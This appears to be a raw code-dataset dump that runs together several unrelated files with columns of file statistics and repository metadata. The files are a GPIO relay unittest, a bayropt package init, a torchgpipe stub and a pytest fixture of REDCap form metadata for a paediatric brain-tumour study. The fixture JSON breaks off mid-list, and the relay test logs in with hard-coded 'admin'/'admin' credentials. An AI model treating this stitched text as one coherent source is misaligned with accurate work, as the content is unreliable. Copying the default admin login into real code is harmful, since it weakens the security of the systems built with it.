self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
time.sleep(10)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
control.clearAllR1()
control.clearAllR2()
PINS.clean()
# tests if the reaper
# daemon thread clears
# past events properly
def testReaper(self):
control.clearAllR1()
control.clearAllR2()
if (GPIO.getmode() != 11):
GPIO.setmode(GPIO.BCM)
GPIO.setup(PINS.PIN1, GPIO.OUT, initial=GPIO.HIGH)
GPIO.setup(PINS.PIN2, GPIO.OUT, initial=GPIO.HIGH)
now = round(time.time())
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 10, epOff=now + 30, relay='relay1'
)
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 25, epOff=now + 40, relay='relay2'
)
control.reaper.start()
self.assertEqual(len(control.RELAY1_TIMERS), 2)
self.assertEqual(len(control.RELAY1_APPOINTMENTS), 1)
self.assertEqual(len(control.RELAY2_TIMERS), 2)
self.assertEqual(len(control.RELAY2_APPOINTMENTS), 1)
time.sleep(19)
self.assertEqual(len(control.RELAY1_TIMERS), 1)
self.assertEqual(len(control.RELAY1_APPOINTMENTS), 1)
self.assertEqual(len(control.RELAY2_TIMERS), 2)
self.assertEqual(len(control.RELAY2_APPOINTMENTS), 1)
time.sleep(18)
self.assertEqual(len(control.RELAY1_TIMERS), 0)
self.assertEqual(len(control.RELAY1_APPOINTMENTS), 0)
self.assertEqual(len(control.RELAY2_TIMERS), 1)
self.assertEqual(len(control.RELAY2_APPOINTMENTS), 1)
time.sleep(15)
self.assertEqual(len(control.RELAY1_TIMERS), 0)
self.assertEqual(len(control.RELAY1_APPOINTMENTS), 0)
self.assertEqual(len(control.RELAY2_TIMERS), 0)
self.assertEqual(len(control.RELAY2_APPOINTMENTS), 0)
control.clearAllR1()
control.clearAllR2()
PINS.clean()
if __name__ == '__main__':
aaa.login('admin','admin')
unittest.main()
GPIO.setmode(GPIO.BCM)
PINS.clean()
| 30.190931
| 71
| 0.592806
| 3,010
| 25,300
| 4.968771
| 0.068771
| 0.128377
| 0.123228
| 0.146028
| 0.864269
| 0.852634
| 0.844945
| 0.834314
| 0.828965
| 0.811046
| 0
| 0.035859
| 0.270316
| 25,300
| 838
| 72
| 30.190931
| 0.774281
| 0.035336
| 0
| 0.748299
| 0
| 0
| 0.024731
| 0
| 0
| 0
| 0
| 0
| 0.229592
| 1
| 0.037415
| false
| 0
| 0.013605
| 0
| 0.059524
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
ce08f31b6bf734ac1f0b960a9f5ead6e12266b36
| 373
|
py
|
Python
|
bayropt/__init__.py
|
Cakem1x/bayropt
|
edfe066afa4d7849631067c546782b56b6ae885e
|
[
"BSD-2-Clause"
] | null | null | null |
bayropt/__init__.py
|
Cakem1x/bayropt
|
edfe066afa4d7849631067c546782b56b6ae885e
|
[
"BSD-2-Clause"
] | 1
|
2018-02-27T10:48:12.000Z
|
2018-02-27T10:48:12.000Z
|
bayropt/__init__.py
|
Cakem1x/bayropt
|
edfe066afa4d7849631067c546782b56b6ae885e
|
[
"BSD-2-Clause"
] | 1
|
2018-02-27T09:15:41.000Z
|
2018-02-27T09:15:41.000Z
|
from .objective_function import ObjectiveFunction
from .sample_sources import SampleDatabase, MapMatcherScriptSource, MapMatcherFakeSource
from .samples import MapMatcherSample
from .performance_measures import PerformanceMeasure
__all__ = ["ObjectiveFunction", "SampleDatabase", "MapMatcherScriptSource", "MapMatcherFakeSource", "MapMatcherSample", "PerformanceMeasure"]
| 53.285714
| 141
| 0.857909
| 28
| 373
| 11.178571
| 0.571429
| 0.230032
| 0.357827
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.072386
| 373
| 6
| 142
| 62.166667
| 0.904624
| 0
| 0
| 0
| 0
| 0
| 0.286863
| 0.058981
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.8
| 0
| 0.8
| 0
| 1
| 0
| 1
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
ce15e7ed3a47a8b37df1f7a15c518ea796a4a05b
| 127
|
py
|
Python
|
torchgpipe_balancing.py
|
junjunjunk/torchgpipe
|
3db11e1da0fc432eb3f3807ddcb22967973c8b28
|
[
"Apache-2.0"
] | 532
|
2019-05-27T09:23:04.000Z
|
2022-03-31T04:07:55.000Z
|
torchgpipe_balancing.py
|
junjunjunk/torchgpipe
|
3db11e1da0fc432eb3f3807ddcb22967973c8b28
|
[
"Apache-2.0"
] | 29
|
2019-07-01T19:49:54.000Z
|
2021-11-28T00:51:00.000Z
|
torchgpipe_balancing.py
|
junjunjunk/torchgpipe
|
3db11e1da0fc432eb3f3807ddcb22967973c8b28
|
[
"Apache-2.0"
] | 68
|
2019-05-27T09:27:32.000Z
|
2022-03-27T13:52:18.000Z
|
# 'torchgpipe_balancing' has moved to 'torchgpipe.balance' in v0.0.5.
raise ImportError("import 'torchgpipe.balance' instead")
| 42.333333
| 69
| 0.779528
| 17
| 127
| 5.764706
| 0.823529
| 0.346939
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.026087
| 0.094488
| 127
| 2
| 70
| 63.5
| 0.826087
| 0.527559
| 0
| 0
| 0
| 0
| 0.603448
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
ce3095962a75fb4209052d528dc1867363f2f94b
| 425,532
|
py
|
Python
|
ehb_datasources/tests/unit_tests/conftest.py
|
chop-dbhi/ehb-datasources
|
ff26dafa0a0919abbe53277e85e019c6df3f8f88
|
[
"BSD-2-Clause"
] | 2
|
2019-09-13T20:27:39.000Z
|
2020-03-05T02:24:47.000Z
|
ehb_datasources/tests/unit_tests/conftest.py
|
chop-dbhi/ehb-datasources
|
ff26dafa0a0919abbe53277e85e019c6df3f8f88
|
[
"BSD-2-Clause"
] | 46
|
2015-09-25T14:34:34.000Z
|
2020-10-05T22:04:36.000Z
|
ehb_datasources/tests/unit_tests/conftest.py
|
chop-dbhi/ehb-datasources
|
ff26dafa0a0919abbe53277e85e019c6df3f8f88
|
[
"BSD-2-Clause"
] | 5
|
2016-04-25T15:01:39.000Z
|
2016-08-29T20:40:31.000Z
|
import pytest
@pytest.fixture(scope='module')
def redcap_metadata_json():
return b'''[{"field_name":"study_id","form_name":"demographics","section_header":"","field_type":"text","field_label":"Study ID","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"date_enrolled","form_name":"demographics","section_header":"Consent Information","field_type":"text","field_label":"Date subject signed consent","select_choices_or_calculations":"","field_note":"YYYY-MM-DD","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"ethnicity","form_name":"demographics","section_header":"","field_type":"radio","field_label":"Ethnicity","select_choices_or_calculations":"0, Hispanic or Latino | 1, NOT Hispanic or Latino | 2, Unknown \/ Not Reported","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"LH","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"race","form_name":"demographics","section_header":"","field_type":"dropdown","field_label":"Race","select_choices_or_calculations":"0, American Indian\/Alaska Native | 1, Asian | 2, Native Hawaiian or Other Pacific Islander | 3, Black or African American | 4, White | 5, More Than One Race | 6, Unknown \/ Not Reported","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"sex","form_name":"demographics","section_header":"","field_type":"radio","field_label":"Gender","select_choices_or_calculations":"0, Female | 1, Male","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"given_birth","form_name":"demographics","section_header":"","field_type":"yesno","field_label":"Has the patient given birth before?","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[sex] = \\"0\\"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"num_children","form_name":"demographics","section_header":"","field_type":"text","field_label":"How many times has the patient given birth?","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"integer","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"[sex] = \\"0\\" and [given_birth] = \\"1\\"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"specify_mood","form_name":"baseline_visit_data","section_header":"Other information","field_type":"slider","field_label":"Specify the patient's mood","select_choices_or_calculations":"Very sad | Indifferent | Very happy","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"meds","form_name":"baseline_visit_data","section_header":"","field_type":"checkbox","field_label":"Is patient taking any of the following type of medications for conditions?","select_choices_or_calculations":"1, Antibiotic | 2, Asthma or Allergy | 3, ADHD | 4, Depression | 5, NSAIDs","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"height","form_name":"baseline_visit_data","section_header":"","field_type":"text","field_label":"Height (cm)","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"number","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"weight","form_name":"baseline_visit_data","section_header":"","field_type":"text","field_label":"Weight (kilograms)","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"integer","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"comments","form_name":"baseline_visit_data","section_header":"General Comments","field_type":"notes","field_label":"Comments","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"prealb_b","form_name":"baseline_visit_data","section_header":"","field_type":"text","field_label":"Serum Prealbumin (mg\/dL)","select_choices_or_calculations":"","field_note":"Adult Normal: 19-38 milligrams per deciliter (mg\/dL) ","text_validation_type_or_show_slider_number":"number","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"creat_b","form_name":"baseline_visit_data","section_header":"","field_type":"text","field_label":"Creatinine (mg\/dL)","select_choices_or_calculations":"","field_note":"Adult Normal: 0.6 to 1.3 - Varies per gender.","text_validation_type_or_show_slider_number":"number","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"chol_b","form_name":"baseline_visit_data","section_header":"","field_type":"text","field_label":"Total Cholesterol (mg\/dL)","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"number","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"transferrin_b","form_name":"baseline_visit_data","section_header":"","field_type":"text","field_label":"Transferrin (mg\/dL)","select_choices_or_calculations":"","field_note":"Adult Normal: 170 to 370 mg\/dl","text_validation_type_or_show_slider_number":"number","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"ibd_flag","form_name":"baseline_visit_data","section_header":"","field_type":"yesno","field_label":"Does patient have an IBD (Inflammatory bowel disease) Diagnosis at time of Visit?","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"general_ibd","form_name":"baseline_visit_data","section_header":"","field_type":"text","field_label":"Diagnosis date of general IBD Disorder - not yet diagnosed.","select_choices_or_calculations":"","field_note":"YYYY-MM-DD - Leave Blank if N\/A","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[ibd_flag] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"chrons","form_name":"baseline_visit_data","section_header":"","field_type":"text","field_label":"Date of Diagnosis of Crohn's disease","select_choices_or_calculations":"","field_note":"YYYY-MM-DD - Leave Blank if N\/A","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[ibd_flag] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"ulcerative_colitis","form_name":"baseline_visit_data","section_header":"","field_type":"text","field_label":"Date of Diagnosis of Ulcerative Colitis disease","select_choices_or_calculations":"","field_note":"YYYY-MM-DD - Leave Blank if N\/A","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[ibd_flag] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"colonoscopy","form_name":"baseline_visit_data","section_header":"","field_type":"yesno","field_label":"Have you had a colonoscopy prior to this visit?","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"colonoscopy_date","form_name":"baseline_visit_data","section_header":"","field_type":"text","field_label":"Date of most recent colonoscopy.","select_choices_or_calculations":"","field_note":"YYYY-MM-DD","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"meal_date","form_name":"baseline_visit_data","section_header":"","field_type":"text","field_label":"Date of Last Meal","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"meal_description","form_name":"meal_description_form","section_header":"","field_type":"dropdown","field_label":"Meal Description","select_choices_or_calculations":"1, Light | 2, Medium | 3, Full","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"types_of_food","form_name":"meal_description_form","section_header":"","field_type":"dropdown","field_label":"Types of Food","select_choices_or_calculations":"1, Protein | 2, Carbohydrates | 3, Vegetables | 4, Junk Food","field_note":"Check any of the options your meal unlcuded","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"healthy","form_name":"meal_description_form","section_header":"","field_type":"dropdown","field_label":"Healthy?","select_choices_or_calculations":"1, Very Healthy | 2, Somewhat Healthy | 3, Neither Healthy or Unhealthy | 4, Somewhat Unhealthy | 5, Very Unhealthy","field_note":"Rate the meal on a scale as to how healthy you believe it was.","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""}]'''
@pytest.fixture(scope='module')
def redcap_metadata_json2():
return b'''[{"field_name":"study_id","form_name":"diagnosis_form","section_header":"","field_type":"text","field_label":"Study Subject ID","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"enrollment_type","form_name":"diagnosis_form","section_header":"","field_type":"radio","field_label":"Enrollment Status","select_choices_or_calculations":"1, Transfer\/Existing (retrospective) | 2, Prospective","field_note":"Required field and applies to this current record","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"autop_form_complete","form_name":"diagnosis_form","section_header":"","field_type":"text","field_label":"Date Form Completed","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"general_comm_diagnosis","form_name":"diagnosis_form","section_header":"","field_type":"notes","field_label":"General Comments","select_choices_or_calculations":"","field_note":"Please use this section to enter in comments significant to the diagnosis","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"clinical_status_at_diagnosis","form_name":"diagnosis_form","section_header":"Diagnosis","field_type":"dropdown","field_label":"Clinical Status","select_choices_or_calculations":"1, Alive | 2, Deceased-due to disease | 3, Deceased-due to other causes | 4, Unknown","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"autop_cause_death","form_name":"diagnosis_form","section_header":"","field_type":"text","field_label":"Cause of Death:","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[clinical_status_at_diagnosis] = '3'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"autopsy","form_name":"diagnosis_form","section_header":"","field_type":"radio","field_label":"Autopsy Performed ","select_choices_or_calculations":"1, Yes | 2, No","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[clinical_status_at_diagnosis] = '2' or [clinical_status_at_diagnosis] = '3'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"diagnosis_type","form_name":"diagnosis_form","section_header":"","field_type":"radio","field_label":"Diagnosis Type","select_choices_or_calculations":"5, Initial CNS Tumor | 6, Second Malignancy | 7, Recurrence | 8, Progressive | 9, Unavailable","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"other_med_condition","form_name":"diagnosis_form","section_header":"","field_type":"checkbox","field_label":"Medical Conditions Present at Diagnosis","select_choices_or_calculations":"1, Seizure disorder | 2, Autistic spectrum disorder | 3, Visual deficit (acuity or fields) | 4, Developmental delay | 5, Endocrinopathy | 6, Behavior\/Mood disorder | 7, Focal neurological deficit (cranial nerve palsies, motor deficits, sensory deficits) | 8, Other medical conditions NOS | 9, None documented | 10, Unavailable | 11, Hydrocephalus | 12, Posterior fossa syndrome","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[clinical_status_at_diagnosis] = '1'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"describe","form_name":"diagnosis_form","section_header":"","field_type":"notes","field_label":"Other Medical Conditions NOS","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[other_med_condition(8)] = '1'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"vps_etv","form_name":"diagnosis_form","section_header":"","field_type":"radio","field_label":"Indicate the shunt required","select_choices_or_calculations":"1, VPS | 2, ETV | 3, Other | 4, Not Done","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[other_med_condition(11)] = '1'","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"date_of_initial_diagnosis","form_name":"diagnosis_form","section_header":"","field_type":"text","field_label":"Date of Diagnosis\/Date of Autopsy or Death","select_choices_or_calculations":"","field_note":"yyyy-mm-dd Note: Date must match specimen form collection date.","text_validation_type_or_show_slider_number":"date_ymd","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"operations_center_patholog","form_name":"diagnosis_form","section_header":"","field_type":"text","field_label":"Operations Center Pathology Review","select_choices_or_calculations":"","field_note":"Note: To be completed by CHOP-CHOP Pathology diagnosis (only complete if tumor submission is for initial diagnosis)","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"path_diag","form_name":"diagnosis_form","section_header":"","field_type":"text","field_label":"Pathology Diagnosis (Referring Institution)","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"init_path_diag","form_name":"diagnosis_form","section_header":"","field_type":"checkbox","field_label":"Pathology Diagnosis (Referring Institution) From Surgery or Autopsy","select_choices_or_calculations":"1, Medulloblastoma | 17, Supratentorial or Spinal Cord PNET | 2, Dysembryoplastic neuroepithelial tumor (DNET) | 3, Ependymoma | 18, Pineoblastoma | 5, Craniopharyngioma | 6, Low-grade glioma\/astrocytoma (WHO grade I\/II) | 7, High-grade glioma\/astrocytoma (WHO grade III\/IV) | 8, Ganglioglioma | 19, Oligodendroglioma | 20, Brainstem glioma- Diffuse intrinsic pontine glioma | 21, Brainstem glioma- Tectal | 22, Brainstem glioma- NOS | 10, Metastatic secondary tumors | 11, Dysplasia\/Gliosis | 12, Primary CNS lymphoma | 15, Atypical Teratoid Rhabdoid Tumor (ATRT) | 16, Neurofibroma\/Plexiform | 23, Malignant peripheral nerve sheath tumor (MPNST) | 24, Germinoma | 25, Non-germinomatous germ cell tumor | 26, Teratoma | 27, Choroid plexus papilloma | 28, Choroid plexus carcinoma | 29, Meningioma | 30, Gliomatosis Cerebri | 31, Neurocytoma | 14, Other | 32, Langerhans Cell histiocytosis | 33, Schwannoma | 34, Chordoma | 35, Adenoma | 36, Glial-neuronal tumor NOS","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"diag_other","form_name":"diagnosis_form","section_header":"","field_type":"text","field_label":"If Other Describe:","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[init_path_diag(14)] = '1'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"tumor_primary_location_in","form_name":"diagnosis_form","section_header":"","field_type":"checkbox","field_label":"Tumor Primary Location in CNS","select_choices_or_calculations":"1, Frontal Lobe | 2, Temporal Lobe | 3, Parietal Lobe | 4, Occipital Lobe | 5, Thalamus | 6, Ventricles | 7, Suprasellar\/Hypothalamic\/Pituitary | 8, Cerebellum\/Posterior Fossa | 9, Brain Stem-Medulla | 10, Brain Stem- Midbrain\/Tectum | 11, Brain Stem- Pons | 12, Spinal Cord- Cervical | 13, Spinal Cord- Thoracic | 14, Spinal Cord- Lumbar\/Thecal Sac | 15, Optic Pathway | 16, Cranial Nerves NOS | 17, Other locations NOS | 18, Spine NOS | 19, Pineal Gland | 20, Basal Ganglia | 21, Hippocampus | 22, Meninges\/Dura | 23, Skull","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"diag_other2_cf0","form_name":"diagnosis_form","section_header":"","field_type":"text","field_label":"If Other, Describe:","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[tumor_primary_location_in(17)] = '1'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"metas_at_init_diag","form_name":"diagnosis_form","section_header":"","field_type":"radio","field_label":"Metastases at Diagnosis or Autopsy?","select_choices_or_calculations":"0, Yes | 1, No | 2, Unavailable","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"metas_at_submit_site","form_name":"diagnosis_form","section_header":"","field_type":"checkbox","field_label":"Metastases Sites","select_choices_or_calculations":"0, CSF | 1, Spine | 2, Bone Marrow | 3, Other | 4, Brain | 5, Leptomeningeal","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[metas_at_init_diag] = '0'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"if_other_describe_metatases_sites","form_name":"diagnosis_form","section_header":"","field_type":"notes","field_label":"If Other Describe:","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[metas_at_submit_site(3)] = '1'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"site_prog","form_name":"diagnosis_form","section_header":"","field_type":"radio","field_label":"Site of Progression","select_choices_or_calculations":"1, Local | 2, Metastatic","field_note":"","text_validation_type_or_show_slider_number":"","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[diagnosis_type] = '8'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"time_to_prog","form_name":"diagnosis_form","section_header":"","field_type":"text","field_label":"Time to Progression ","select_choices_or_calculations":"","field_note":"in months (from initial diagnosis to progression then time from progression to progression for each subsequent progression)","text_validation_type_or_show_slider_number":"number","text_validation_min":"0","text_validation_max":"","identifier":"","branching_logic":"[diagnosis_type] = '8'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
{"field_name":"relapse_number2_7d6","form_name":"diagnosis_form","section_header":"","field_type":"text","field_label":"Relapse Number","select_choices_or_calculations":"","field_note":"","text_validation_type_or_show_slider_number":"number","text_validation_min":"","text_validation_max":"","identifier":"","branching_logic":"[diagnosis_type] = '7'","required_field":"y","custom_alignment":"","question_number":"","matrix_group_name":"","matrix_ranking":"","field_annotation":""},
